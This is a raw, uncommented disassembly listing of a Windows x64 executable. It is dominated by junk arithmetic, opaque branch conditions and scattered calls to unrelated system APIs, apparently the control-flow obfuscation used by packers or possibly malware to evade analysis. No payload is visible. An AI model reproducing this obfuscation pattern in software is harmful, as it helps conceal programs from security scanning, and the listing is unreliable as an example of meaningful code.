movabs rax, 0xc7cb162312b05a10
mov qword [rsp + 0x9b18], rax
mov eax, 0xb2a
mov word [rsp + 0x1624], ax
mov byte [rsp + 0x1ff], 0xcb
mov eax, 0x5560
mov word [rsp + 0x1628], ax
mov byte [rsp + 0x200], 0x81
movabs rax, 0x51429712ab1a2145
mov qword [rsp + 0x9b20], rax
mov dword [rsp + 0x5350], 0x4ab2989b
mov dword [rsp + 0x5354], 0x3c0bd96d
movabs rax, 0x41773684a4492b87
mov qword [rsp + 0x9b28], rax
mov dword [rsp + 0x5358], 0xe6e602fe
mov dword [rsp + 0x535c], 0x1255cbe4
mov byte [rsp + 0x201], 2
mov dword [rsp + 0x5360], 0x6fcbf7fd
mov dword [rsp + 0x5364], 0x2c2e4f08
mov eax, 0xc28
mov word [rsp + 0x162c], ax
movabs rax, 0x4720484671a79ee4
mov qword [rsp + 0x9b30], rax
mov eax, 0x7b21
mov word [rsp + 0x1630], ax
mov eax, 0x90b
mov word [rsp + 0x1634], ax
movabs rax, 0x2bb176fe0b377659
mov qword [rsp + 0x9b38], rax
mov dword [rsp + 0x5368], 0x4950505d
mov dword [rsp + 0x536c], 0x6dd7cadf
mov byte [rsp + 0x202], 8
mov byte [rsp + 0x203], 0x10
mov eax, 0x1f3b
mov word [rsp + 0x1638], ax
mov byte [rsp + 0x204], 0x50
mov eax, 0xf9a
mov word [rsp + 0x163c], ax
mov dword [rsp + 0x5370], 0x451217ba
movabs rax, 0x1474abcff30da8d7
mov qword [rsp + 0x9b40], rax
mov byte [rsp + 0x205], 0x5b
mov byte [rsp + 0x206], 0xf8
mov byte [rsp + 0x207], 0x7e
mov eax, 0x25cd
mov word [rsp + 0x1640], ax
movabs rax, 0x29629efc2910dddd
mov qword [rsp + 0x9b48], rax
mov dword [rsp + 0x5374], 0x21b99e62
movabs rax, 0xe2236990505d1b86
mov qword [rsp + 0x9b50], rax
movabs rax, 0x7499ba9f7b2479ff
mov qword [rsp + 0x9b58], rax
mov byte [rsp + 0x208], 0xa
mov dword [rsp + 0x5378], 0x317d4d99
mov eax, 0x2253
mov word [rsp + 0x1644], ax
mov eax, 0x5c3c
mov word [rsp + 0x1648], ax
movabs rax, 0x501bbdcd7f9fc3be
mov qword [rsp + 0x9b60], rax
mov byte [rsp + 0x209], 0x21
mov byte [rsp + 0x20a], 0x3a
mov dword [rsp + 0x537c], 0x3ff92de3
movabs rax, 0x596da0faebf4014e
mov qword [rsp + 0x9b68], rax
mov dword [rsp + 0x5380], 0x24e5d497
mov dword [rsp + 0x5384], 0xfac3ab60
mov byte [rsp + 0x20b], 0x43
mov byte [rsp + 0x20c], 0x5f
mov eax, 0x3304
mov word [rsp + 0x164c], ax
mov eax, 0x1e01
mov word [rsp + 0x1650], ax
mov dword [rsp + 0x5388], 0x25031e64
mov eax, 0x908
mov word [rsp + 0x1654], ax
mov byte [rsp + 0x20d], 0x34
mov dword [rsp + 0x538c], 0x5219a5a7
mov byte [rsp + 0x20e], 0x28
mov dword [rsp + 0x5390], 0x10798ddd
mov eax, 0xf68
mov word [rsp + 0x1658], ax
mov eax, 0x4559
mov word [rsp + 0x165c], ax
mov byte [rsp + 0x20f], 0x1c
mov byte [rsp + 0x210], 0x3c
mov byte [rsp + 0x211], 0x21
mov eax, 0x2d46
mov word [rsp + 0x1660], ax
mov byte [rsp + 0x212], 0x22
mov byte [rsp + 0x213], 0x87
mov byte [rsp + 0x214], 0x70
mov dword [rsp + 0x5394], 0x41a1011c
mov eax, 0x3856
mov word [rsp + 0x1664], ax
mov dword [rsp + 0x5398], 0x35278b67
movabs rax, 0x41e48cbfcd1d472f
mov qword [rsp + 0x9b70], rax
mov dword [rsp + 0x539c], 0x894c70e
mov byte [rsp + 0x215], 0x76
mov dword [rsp + 0x53a0], 0x131a601
mov dword [rsp + 0x53a4], 0xb94ccb07
movabs rax, 0xe2b4b8b371de9a92
mov qword [rsp + 0x9b78], rax
mov eax, 0x60e0
mov word [rsp + 0x1668], ax
mov byte [rsp + 0x216], 0x73
mov byte [rsp + 0x217], 0x37
mov dword [rsp + 0x53a8], 0xdaad7cc9
movabs rax, 0x2ead6848487fdd95
mov qword [rsp + 0x9b80], rax
movabs rax, 0x7ed42542da8bb446
mov qword [rsp + 0x9b88], rax
mov eax, 0xc64
mov word [rsp + 0x166c], ax
mov eax, 0x7753
mov word [rsp + 0x1670], ax
movabs rax, 0x71bf3d89a7130d54
mov qword [rsp + 0x9b90], rax
mov eax, 0xcba
mov word [rsp + 0x1674], ax
mov byte [rsp + 0x218], 0x5b
mov byte [rsp + 0x219], 0x48
mov dword [rsp + 0x53ac], 0x40f1d742
mov eax, 0x87b
mov word [rsp + 0x1678], ax
mov byte [rsp + 0x21a], 0x1a
mov byte [rsp + 0x21b], 0x6c
mov byte [rsp + 0x21c], 0x20
mov byte [rsp + 0x21d], 0x60
mov byte [rsp + 0x21e], 0x45
movabs rax, 0x29c4c74b84c88446
mov qword [rsp + 0x9b98], rax
mov eax, 0x4cb0
mov word [rsp + 0x167c], ax
mov eax, 0x2bf5
mov word [rsp + 0x1680], ax
mov byte [rsp + 0x21f], 0x25
movabs rax, 0x30d0b23f6f13d072
mov qword [rsp + 0x9ba0], rax
movabs rax, 0x1580e5b616aba50e
mov qword [rsp + 0x9ba8], rax
movabs rax, 0x6395e53ba57c755
mov qword [rsp + 0x9bb0], rax
mov byte [rsp + 0x220], 0xe8
mov eax, 0xd0d
mov word [rsp + 0x1684], ax
mov dword [rsp + 0x53b0], 0x6bd8f107
mov dword [rsp + 0x53b4], 0x5c28b17e
mov dword [rsp + 0x53b8], 0x2474112
movabs rax, 0x70e6039ff22507cc
mov qword [rsp + 0x9bb8], rax
mov dword [rsp + 0x53bc], 0xc9f00f3d
movabs rax, 0xc4d746beaf2b81ee
mov qword [rsp + 0x9bc0], rax
mov dword [rsp + 0x53c0], 0x6a986ea9
mov byte [rsp + 0x221], 0x81
mov dword [rsp + 0x53c4], 0x8dd89404
mov byte [rsp + 0x222], 0xb
mov eax, 0xdf8
mov word [rsp + 0x1688], ax
mov byte [rsp + 0x223], 3
movabs rax, 0x496f13d6590cdde6
mov qword [rsp + 0x9bc8], rax
mov eax, 0xaeb
mov word [rsp + 0x168c], ax
mov byte [rsp + 0x224], 0x43
mov dword [rsp + 0x53c8], 0x9a67575c
mov byte [rsp + 0x225], 0x65
movabs rax, 0x1fa4820867bfe024
mov qword [rsp + 0x9bd0], rax
movabs rax, 0x298ab1ee624ac284
mov qword [rsp + 0x9bd8], rax
mov eax, 0x488a
mov word [rsp + 0x1690], ax
mov byte [rsp + 0x226], 0xc6
mov dword [rsp + 0x53cc], 0xc03530fc
movabs rax, 0x4deae3152b79548c
mov qword [rsp + 0x9be0], rax
movabs rax, 0xa04f876960d2ea0d
mov qword [rsp + 0x9be8], rax
movabs rax, 0x39395b0e741fcbe3
mov qword [rsp + 0x9bf0], rax
mov eax, 0x2e9
mov word [rsp + 0x1694], ax
mov eax, 0x60a
mov word [rsp + 0x1698], ax
mov byte [rsp + 0x227], 0xea
mov dword [rsp + 0x53d0], 0x40e1cb34
mov eax, 0x3a3b
mov word [rsp + 0x169c], ax
movabs rax, 0x886f49794a43a3f4
mov qword [rsp + 0x9bf8], rax
mov eax, 0x3c8
mov word [rsp + 0x16a0], ax
mov dword [rsp + 0x53d4], 0x5dbae73b
mov eax, 0x7e8
mov word [rsp + 0x16a4], ax
mov eax, 0x1534
mov word [rsp + 0x16a8], ax
mov dword [rsp + 0x53d8], 0x78b72b6f
mov byte [rsp + 0x228], 0x27
movabs rax, 0x10fd2e40f5568c47
mov qword [rsp + 0x9c00], rax
mov byte [rsp + 0x229], 0x95
mov eax, 0xa3e
mov word [rsp + 0x16ac], ax
mov eax, 0x78d
mov word [rsp + 0x16b0], ax
mov eax, 0x7b29
mov word [rsp + 0x16b4], ax
mov byte [rsp + 0x22a], 0x2a
mov byte [rsp + 0x22b], 0x55
mov dword [rsp + 0x53dc], 0x170ab583
movabs rax, 0x7d5547e9a70e6a2e
mov qword [rsp + 0x9c08], rax
mov eax, 0xef9
mov word [rsp + 0x16b8], ax
mov dword [rsp + 0x53e0], 0x31f0bf61
mov byte [rsp + 0x22c], 0xf5
mov byte [rsp + 0x22d], 0x5c
mov byte [rsp + 0x22e], 0x17
mov dword [rsp + 0x53e4], 0x203a6b44
mov eax, 0x783
mov word [rsp + 0x16bc], ax
mov eax, 0x51b
mov word [rsp + 0x16c0], ax
movabs rax, 0xeccdd25ecbfc4d6e
mov qword [rsp + 0x9c10], rax
mov byte [rsp + 0x22f], 0x6d
movabs rax, 0xb14c7f36c7e2454b
mov qword [rsp + 0x9c18], rax
mov dword [rsp + 0x53e8], 0x68c31c6d
mov byte [rsp + 0x230], 0x35
movsx eax, byte [0x140288008]
add eax, 0x6c
mov byte [0x140288008], al
movsx eax, byte [0x140288008]
sub eax, 0x43
mov byte [rsp + 0x12a], al
movzx eax, byte [rsp + 0x230]
mov byte [rsp + 0x53ec], al
cmp byte [rsp + 0x53ec], 0x85
je 0x140057e20
jmp 0x140057e40
mov r8w, 0x16
movzx edx, byte [rsp + 0x230]
movzx ecx, byte [rsp + 0x230]
call fcn.14023b310
nop
jmp 0x140057ee1
mov dword [rsp + 0x53f0], 0x32faae9d
mov dword [rsp + 0x53f4], 0x9ee2
mov dword [rsp + 0x53f8], 0x557a7720
movzx eax, byte [rsp + 0x12a]
mov byte [rsp + 0x53fc], al
cmp byte [rsp + 0x53fc], 0xa0
je 0x140057e86
cmp byte [rsp + 0x53fc], 0x6f
je 0x140057eb3
jmp 0x140057ecb
mov eax, dword [rsp + 0x53f8]
mov dword [rsp + 0x5400], eax
movzx eax, byte [rsp + 0x12a]
mov byte [rsp + 0x231], al
mov eax, dword [rsp + 0x53f0]
mov dword [rsp + 0x5404], eax
jmp 0x140057ecb
movsx eax, byte [0x140288008]
movsx ecx, byte [rsp + 0x231]
and eax, ecx
mov byte [rsp + 0x12a], al
mov dword [rsp + 0x5408], 0x7a39
mov dword [rsp + 0x540c], 0x6636
mov dword [rsp + 0x5410], 0x3f95
movzx eax, byte [rsp + 0x230]
mov byte [rsp + 0x232], al
mov dword [rsp + 0x5414], 0x3b3f
movsx eax, byte [rsp + 0x231]
movsx ecx, byte [rsp + 0x12a]
shl eax, cl
mov byte [0x140288008], al
mov eax, dword [rsp + 0x5404]
or eax, 0x32c91fb4
mov dword [rsp + 0x53f0], eax
movzx eax, byte [rsp + 0x230]
xor eax, 0xa
mov byte [rsp + 0x232], al
movsx eax, byte [rsp + 0x231]
movsx ecx, byte [0x140288008]
sar eax, cl
mov byte [rsp + 0x12a], al
mov eax, dword [rsp + 0x5414]
sub eax, 0xa4
mov dword [rsp + 0x5414], eax
movzx eax, byte [rsp + 0x230]
sub eax, 6
mov byte [rsp + 0x232], al
movsx eax, byte [rsp + 0x231]
movsx ecx, byte [rsp + 0x12a]
add eax, ecx
mov byte [0x140288008], al
movzx eax, byte [rsp + 0x232]
and eax, 0x5e
mov byte [rsp + 0x230], al
movzx eax, byte [rsp + 0x230]
sub eax, 0xc3
mov byte [rsp + 0x232], al
mov eax, dword [rsp + 0x5404]
add eax, 0x9f669145
mov dword [rsp + 0x53f0], eax
mov eax, dword [rsp + 0x5404]
sub eax, 0xfcf6fd2d
mov dword [rsp + 0x53f0], eax
movsx eax, byte [rsp + 0x12a]
movsx ecx, byte [rsp + 0x231]
add eax, ecx
mov byte [0x140288008], al
mov eax, dword [rsp + 0x5400]
sar eax, 0x18
mov dword [rsp + 0x53f8], eax
movzx eax, byte [rsp + 0x230]
xor eax, 0x29
mov byte [rsp + 0x232], al
movzx eax, byte [rsp + 0x230]
or eax, 0xa
mov byte [rsp + 0x232], al
mov eax, dword [rsp + 0x53f0]
shl eax, 0x1c
mov dword [rsp + 0x5404], eax
mov eax, dword [rsp + 0x53f0]
and eax, 0x77ec4473
mov dword [rsp + 0x5404], eax
movsx eax, byte [rsp + 0x12a]
movsx ecx, byte [0x140288008]
add eax, ecx
mov byte [rsp + 0x231], al
mov eax, dword [rsp + 0x53f0]
sub eax, 0x34387b0a
mov dword [rsp + 0x5404], eax
movzx eax, byte [rsp + 0x232]
add eax, 0xd4
mov byte [rsp + 0x230], al
movsx eax, byte [rsp + 0x12a]
movsx ecx, byte [0x140288008]
sub eax, ecx
mov byte [rsp + 0x231], al
cmp dword [rsp + 0x5414], 0xfaf
ja 0x140057f06
movsx eax, byte [rsp + 0x231]
movsx ecx, byte [0x140288008]
and eax, ecx
mov byte [rsp + 0x12a], al
movsx eax, byte [rsp + 0x12a]
movsx ecx, byte [0x140288008]
add eax, ecx
mov byte [rsp + 0x231], al
mov eax, dword [rsp + 0x53f8]
sub eax, 0x118160fb
mov dword [rsp + 0x5400], eax
mov eax, dword [rsp + 0x540c]
sub eax, 0x51
mov dword [rsp + 0x540c], eax
movzx eax, byte [rsp + 0x230]
sub eax, 0xd
mov byte [rsp + 0x232], al
movzx eax, byte [rsp + 0x230]
add eax, 0x17
mov byte [rsp + 0x232], al
movzx eax, byte [rsp + 0x232]
shl eax, 1
mov byte [rsp + 0x230], al
movzx eax, byte [rsp + 0x232]
or eax, 0x9e
mov byte [rsp + 0x230], al
mov eax, dword [rsp + 0x53f8]
xor eax, 0x5c52833b
mov dword [rsp + 0x5400], eax
movsx eax, byte [rsp + 0x12a]
movsx ecx, byte [rsp + 0x231]
sar eax, cl
mov byte [0x140288008], al
mov eax, dword [rsp + 0x53f0]
and eax, 0xd1cc1651
mov dword [rsp + 0x5404], eax
movsx eax, byte [rsp + 0x231]
movsx ecx, byte [0x140288008]
add eax, ecx
mov byte [rsp + 0x12a], al
mov eax, dword [rsp + 0x5404]
sub eax, 0xafd330df
mov dword [rsp + 0x53f0], eax
movzx eax, byte [rsp + 0x230]
sub eax, 0x70
mov byte [rsp + 0x232], al
movsx eax, byte [rsp + 0x231]
movsx ecx, byte [0x140288008]
add eax, ecx
mov byte [rsp + 0x12a], al
mov eax, dword [rsp + 0x5400]
add eax, 0xfabee08
mov dword [rsp + 0x53f8], eax
movsx eax, byte [rsp + 0x12a]
movsx ecx, byte [rsp + 0x231]
and eax, ecx
mov byte [0x140288008], al
movsx eax, byte [rsp + 0x231]
movsx ecx, byte [0x140288008]
sub eax, ecx
mov byte [rsp + 0x12a], al
movzx eax, byte [rsp + 0x230]
add eax, 0x7a
mov byte [rsp + 0x232], al
movsx eax, byte [rsp + 0x231]
movsx ecx, byte [0x140288008]
sub eax, ecx
mov byte [rsp + 0x12a], al
mov eax, dword [rsp + 0x53f0]
shr eax, 2
mov dword [rsp + 0x5404], eax
mov eax, dword [rsp + 0x53f0]
or eax, 0x61c9a016
mov dword [rsp + 0x5404], eax
movsx eax, byte [rsp + 0x12a]
movsx ecx, byte [0x140288008]
xor eax, ecx
mov byte [rsp + 0x231], al
mov eax, dword [rsp + 0x53f0]
shl eax, 0xe
mov dword [rsp + 0x5404], eax
mov eax, dword [rsp + 0x5404]
and eax, 0xecdf8d8b
mov dword [rsp + 0x53f0], eax
mov eax, dword [rsp + 0x53f0]
add eax, 0xad18e0fe
mov dword [rsp + 0x5404], eax
mov eax, dword [rsp + 0x53f8]
sub eax, 0x70219342
mov dword [rsp + 0x5400], eax
movzx eax, byte [rsp + 0x230]
sub eax, 0x7c
mov byte [rsp + 0x232], al
movzx eax, byte [rsp + 0x230]
add eax, 0x6c
mov byte [rsp + 0x232], al
mov eax, dword [rsp + 0x53f0]
sub eax, 0xa6841da0
mov dword [rsp + 0x5404], eax
movsx eax, byte [rsp + 0x12a]
movsx ecx, byte [0x140288008]
add eax, ecx
mov byte [rsp + 0x231], al
movsx eax, byte [rsp + 0x12a]
movsx ecx, byte [0x140288008]
and eax, ecx
mov byte [rsp + 0x231], al
movzx eax, byte [rsp + 0x232]
sub eax, 0x3b
mov byte [rsp + 0x230], al
movsx eax, byte [rsp + 0x12a]
movsx ecx, byte [0x140288008]
or eax, ecx
mov byte [rsp + 0x231], al
mov eax, dword [rsp + 0x5400]
shl eax, 6
mov dword [rsp + 0x53f8], eax
movzx eax, byte [rsp + 0x232]
sar eax, 6
mov byte [rsp + 0x230], al
movsx eax, byte [rsp + 0x231]
movsx ecx, byte [0x140288008]
xor eax, ecx
mov byte [rsp + 0x12a], al
movzx eax, byte [rsp + 0x230]
add eax, 0x32
mov byte [rsp + 0x232], al
cmp dword [rsp + 0x540c], 0x496b
jae 0x1400580bd
movzx eax, byte [rsp + 0x231]
mov byte [rsp + 0x5418], al
cmp byte [rsp + 0x5418], 0
je 0x1400583fb
cmp byte [rsp + 0x5418], 0x2b
je 0x140239cff
jmp 0x140239d93
movzx eax, byte [rsp + 0x230]
mov byte [rsp + 0x233], al
mov eax, 0xfd6
mov word [rsp + 0x16c4], ax
mov dword [rsp + 0x541c], 0x6bc3
movzx eax, byte [rsp + 0x232]
movzx ecx, byte [rsp + 0x233]
sub eax, ecx
movzx ecx, byte [rsp + 0x230]
cmp eax, ecx
jne 0x14005845a
mov rdx, qword [rsp + 0x9c20]
mov ecx, 0xb5
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
mov dword [rsp + 0x5420], eax
movzx eax, byte [rsp + 0x232]
movzx ecx, byte [rsp + 0x233]
sub eax, ecx
movzx ecx, byte [rsp + 0x230]
cmp eax, ecx
jg 0x14005849c
mov r9d, 0x68
movzx r8d, byte [rsp + 0x231]
mov edx, dword [rsp + 0x5404]
movzx ecx, word [rsp + 0x16c4]
call fcn.14023ada0
nop
mov dword [rsp + 0x5424], 0xf304
cmp dword [rsp + 0x5410], 0x49a3
jae 0x140058691
movsx eax, byte [0x140288008]
movsx ecx, byte [rsp + 0x12a]
add eax, ecx
mov byte [rsp + 0x231], al
movsx eax, byte [rsp + 0x12a]
movsx ecx, byte [0x140288008]
add eax, ecx
mov byte [rsp + 0x231], al
mov eax, dword [rsp + 0x5400]
sub eax, 0x715ae50c
mov dword [rsp + 0x53f8], eax
mov eax, dword [rsp + 0x5410]
add eax, 0x1a
mov dword [rsp + 0x5410], eax
mov eax, dword [rsp + 0x5400]
sub eax, 0x7964ce6a
mov dword [rsp + 0x53f8], eax
mov eax, dword [rsp + 0x5400]
and eax, 0x3d8fbc6f
mov dword [rsp + 0x53f8], eax
movzx eax, word [rsp + 0x16c4]
or eax, 0x9e3
mov word [rsp + 0x16c4], ax
movsx eax, byte [rsp + 0x231]
movsx ecx, byte [0x140288008]
xor eax, ecx
mov byte [rsp + 0x12a], al
movzx eax, byte [rsp + 0x230]
movzx ecx, byte [rsp + 0x233]
shl eax, cl
mov byte [rsp + 0x232], al
movzx eax, byte [rsp + 0x232]
movzx ecx, byte [rsp + 0x230]
sar eax, cl
mov byte [rsp + 0x233], al
movzx eax, byte [rsp + 0x230]
movzx ecx, byte [rsp + 0x233]
add eax, ecx
mov byte [rsp + 0x232], al
movsx eax, byte [rsp + 0x231]
movsx ecx, byte [0x140288008]
add eax, ecx
mov byte [rsp + 0x12a], al
movzx eax, byte [rsp + 0x230]
movzx ecx, byte [rsp + 0x233]
and eax, ecx
mov byte [rsp + 0x232], al
movsx eax, byte [rsp + 0x231]
movsx ecx, byte [0x140288008]
sub eax, ecx
mov byte [rsp + 0x12a], al
movzx eax, word [rsp + 0x16c4]
sub eax, 0x710
mov word [rsp + 0x16c4], ax
mov eax, dword [rsp + 0x5400]
add eax, 0x789e056a
mov dword [rsp + 0x53f8], eax
movsx eax, byte [rsp + 0x12a]
movsx ecx, byte [0x140288008]
sub eax, ecx
mov byte [rsp + 0x231], al
movzx eax, word [rsp + 0x16c4]
add eax, 0x524
mov word [rsp + 0x16c4], ax
movsx eax, byte [rsp + 0x12a]
movsx ecx, byte [rsp + 0x231]
sub eax, ecx
mov byte [0x140288008], al
mov eax, dword [rsp + 0x53f0]
mov ecx, dword [rsp + 0x5428]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5404], eax
mov eax, dword [rsp + 0x5400]
sub eax, 0x55de480b
mov dword [rsp + 0x53f8], eax
jmp 0x1400584a7
mov eax, dword [rsp + 0x5400]
shl eax, 0x15
mov dword [rsp + 0x53f8], eax
movzx eax, word [rsp + 0x16c4]
sar eax, 8
mov word [rsp + 0x16c4], ax
movzx eax, byte [rsp + 0x233]
movzx ecx, byte [rsp + 0x230]
or eax, ecx
mov byte [rsp + 0x232], al
movzx eax, byte [rsp + 0x233]
movzx ecx, byte [rsp + 0x230]
xor eax, ecx
mov byte [rsp + 0x232], al
movsx eax, byte [rsp + 0x231]
movsx ecx, byte [rsp + 0x12a]
and eax, ecx
mov byte [0x140288008], al
mov eax, dword [rsp + 0x5428]
mov ecx, dword [rsp + 0x53f0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5404], eax
mov eax, dword [rsp + 0x53f8]
add eax, 0x44496d24
mov dword [rsp + 0x5400], eax
movsx eax, byte [rsp + 0x12a]
movsx ecx, byte [0x140288008]
and eax, ecx
mov byte [rsp + 0x231], al
movzx eax, byte [rsp + 0x230]
movzx ecx, byte [rsp + 0x232]
sub eax, ecx
mov byte [rsp + 0x233], al
mov eax, dword [rsp + 0x53f0]
mov ecx, dword [rsp + 0x5428]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5404], eax
mov eax, dword [rsp + 0x5400]
add eax, 0x38eec8fb
mov dword [rsp + 0x53f8], eax
movzx eax, byte [rsp + 0x230]
movzx ecx, byte [rsp + 0x233]
add eax, ecx
mov byte [rsp + 0x232], al
movsx eax, byte [rsp + 0x231]
movsx ecx, byte [rsp + 0x12a]
sub eax, ecx
mov byte [0x140288008], al
movzx eax, byte [rsp + 0x230]
movzx ecx, byte [rsp + 0x232]
sar eax, cl
mov byte [rsp + 0x233], al
movzx eax, byte [rsp + 0x230]
movzx ecx, byte [rsp + 0x232]
xor eax, ecx
mov byte [rsp + 0x233], al
mov eax, dword [rsp + 0x53f0]
mov dword [rsp + 0x5428], eax
mov eax, dword [rsp + 0x53f8]
or eax, 0x1197e83e
mov dword [rsp + 0x5400], eax
movzx eax, word [rsp + 0x16c4]
shl eax, 2
mov word [rsp + 0x16c4], ax
mov eax, dword [rsp + 0x53f0]
mov ecx, dword [rsp + 0x5428]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5404], eax
movsx eax, byte [0x140288008]
movsx ecx, byte [rsp + 0x12a]
sub eax, ecx
mov byte [rsp + 0x231], al
mov eax, dword [rsp + 0x5408]
add eax, 0x21
mov dword [rsp + 0x5408], eax
mov eax, dword [rsp + 0x5400]
add eax, 0x10f4f7f1
mov dword [rsp + 0x53f8], eax
movzx eax, word [rsp + 0x16c4]
sub eax, 0x596
mov word [rsp + 0x16c4], ax
movsx eax, byte [rsp + 0x231]
movsx ecx, byte [0x140288008]
add eax, ecx
mov byte [rsp + 0x12a], al
movzx eax, word [rsp + 0x16c4]
and eax, 0x9ab
mov word [rsp + 0x16c4], ax
movzx eax, word [rsp + 0x16c4]
add eax, 0xba7
mov word [rsp + 0x16c4], ax
movzx eax, byte [rsp + 0x232]
movzx ecx, byte [rsp + 0x233]
sub eax, ecx
mov byte [rsp + 0x230], al
movzx eax, word [rsp + 0x16c4]
add eax, 0x6e3
mov word [rsp + 0x16c4], ax
cmp dword [rsp + 0x5408], 0x7df6
jb 0x140058691
lea rax, [rsp + 0x231]
mov qword [rsp + 0x9c28], rax
mov eax, dword [rsp + 0x53f8]
sub eax, 0x4652e2c7
cmp eax, dword [rsp + 0x5400]
jle 0x140058a36
movsx eax, byte [rsp + 0x231]
movsx ecx, byte [0x140288008]
shl eax, cl
mov rcx, qword [rsp + 0x9c28]
mov byte [rcx], al
movzx eax, byte [rsp + 0x233]
movzx ecx, byte [rsp + 0x232]
xor eax, ecx
mov byte [rsp + 0x230], al
mov eax, dword [rsp + 0x53f0]
mov ecx, dword [rsp + 0x5404]
or ecx, eax
mov eax, ecx
cmp eax, dword [rsp + 0x5428]
jne 0x1400589e6
mov eax, dword [rsp + 0x53f0]
mov dword [rsp + 0x542c], eax
cmp dword [rsp + 0x542c], 0x2e914c6e
je 0x1400589ac
cmp dword [rsp + 0x542c], 0x4d1d6d2a
je 0x1400589d1
jmp 0x1400589e4
mov r8d, 0xee
lea rdx, [rsp + 0x2b7c0]
mov rcx, qword [rsp + 0x9c30]
call qword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
mov dword [rsp + 0x5430], eax
jmp 0x1400589e4
mov eax, dword [rsp + 0x5400]
and eax, 0x49f7fc2
mov dword [rsp + 0x53f8], eax
jmp 0x140058a36
movzx eax, byte [rsp + 0x233]
movzx ecx, byte [rsp + 0x232]
sar eax, cl
movzx ecx, byte [rsp + 0x230]
cmp eax, ecx
jne 0x140058a36
mov rax, qword [rsp + 0x9c28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x12a]
add eax, ecx
mov rcx, qword [rsp + 0x9c28]
mov byte [rcx], al
mov eax, dword [rsp + 0x5400]
sub eax, 0x2872f683
mov dword [rsp + 0x53f8], eax
mov eax, dword [rsp + 0x53f8]
sub eax, 0x561bae30
cmp eax, dword [rsp + 0x5400]
jge 0x140058bdd
movabs rax, 0x72ebf903bb8b66c5
mov rcx, qword [rsp + 0x9578]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9578], rax
mov rax, qword [rsp + 0x9c28]
movzx eax, byte [rax]
mov byte [rsp + 0x234], al
lea rax, [rsp + 0x232]
mov qword [rsp + 0x9c38], rax
mov dword [rsp + 0x5434], 0x122bb
mov eax, dword [rsp + 0x5404]
mov dword [rsp + 0x5438], eax
cmp dword [rsp + 0x5438], 0x20c80000
je 0x140058abc
jmp 0x140058ba5
mov rax, qword [rsp + 0x9c28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x231]
sub eax, ecx
movsx ecx, byte [rsp + 0x12a]
movsx edx, byte [0x140288008]
and ecx, edx
cmp eax, ecx
jl 0x140058ba3
mov eax, dword [rsp + 0x5400]
mov dword [rsp + 0x543c], eax
cmp dword [rsp + 0x543c], 0x55ee09ca
je 0x140058b0a
jmp 0x140058ba3
mov edx, 0x3a
mov rcx, qword [rsp + 0x9c40]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x5440], eax
mov eax, dword [rsp + 0x5404]
mov ecx, dword [rsp + 0x53f0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5428], eax
mov rcx, qword [rsp + 0x9c48]
call qword [sym.imp.ole32.dll_CoRevokeInitializeSpy]
mov dword [rsp + 0x5444], eax
movzx eax, byte [rsp + 0x232]
movzx ecx, byte [rsp + 0x233]
add eax, ecx
mov rcx, qword [rsp + 0x9c38]
mov byte [rcx], al
mov rax, qword [rsp + 0x9c38]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
movzx r9d, byte [rsp + 0x232]
mov r8d, dword [rsp + 0x53f8]
movzx edx, byte [rsp + 0x233]
mov ecx, dword [rsp + 0x53f8]
call fcn.14023bc60
nop
jmp 0x140058bdd
movzx eax, byte [rsp + 0x230]
mov rcx, qword [rsp + 0x9c38]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x233], al
movzx eax, byte [rsp + 0x232]
movzx ecx, byte [rsp + 0x230]
xor eax, ecx
mov rcx, qword [rsp + 0x9c38]
mov byte [rcx], al
mov eax, dword [rsp + 0x5400]
mov dword [rsp + 0x5448], eax
movabs rax, 0x171960fb2e5b2098
mov qword [rsp + 0x9c50], rax
mov eax, dword [rsp + 0x5404]
movzx ecx, al
mov eax, dword [rsp + 0x53f0]
shr eax, cl
mov dword [rsp + 0x5428], eax
mov rax, qword [rsp + 0x9c28]
movsx eax, byte [rax]
movsx ecx, byte [0x140288008]
shl eax, cl
mov rcx, qword [rsp + 0x9c28]
mov byte [rcx], al
movsx eax, byte [rsp + 0x231]
movsx ecx, byte [rsp + 0x234]
or eax, ecx
mov rcx, qword [rsp + 0x9c28]
mov byte [rcx], al
movzx eax, byte [rsp + 0x232]
movzx ecx, byte [rsp + 0x230]
and eax, ecx
mov rcx, qword [rsp + 0x9c38]
mov byte [rcx], al
mov rax, qword [rsp + 0x9c28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x234]
sub eax, ecx
mov byte [rsp + 0x231], al
mov eax, dword [rsp + 0x5424]
add eax, 0xdd
mov dword [rsp + 0x5424], eax
movzx eax, word [rsp + 0x16c4]
add eax, 0x658
mov word [rsp + 0x16c4], ax
movzx eax, byte [rsp + 0x233]
movzx ecx, byte [rsp + 0x232]
add eax, ecx
mov rcx, qword [rsp + 0x9c38]
mov byte [rcx], al
mov eax, dword [rsp + 0x53f0]
mov ecx, dword [rsp + 0x5428]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5404], eax
mov rax, qword [rsp + 0x9c28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x12a]
add eax, ecx
mov rcx, qword [rsp + 0x9c28]
mov byte [rcx], al
mov eax, dword [rsp + 0x5448]
mov ecx, dword [rsp + 0x53f8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5400], eax
mov rax, qword [rsp + 0x9c38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x232]
and eax, ecx
mov rcx, qword [rsp + 0x9c38]
mov byte [rcx], al
mov rax, qword [rsp + 0x9c28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x231]
sub eax, ecx
mov rcx, qword [rsp + 0x9c28]
mov byte [rcx], al
movzx eax, byte [rsp + 0x232]
mov rcx, qword [rsp + 0x9c38]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x233], al
movzx eax, byte [rsp + 0x230]
movzx ecx, byte [rsp + 0x233]
or eax, ecx
mov rcx, qword [rsp + 0x9c38]
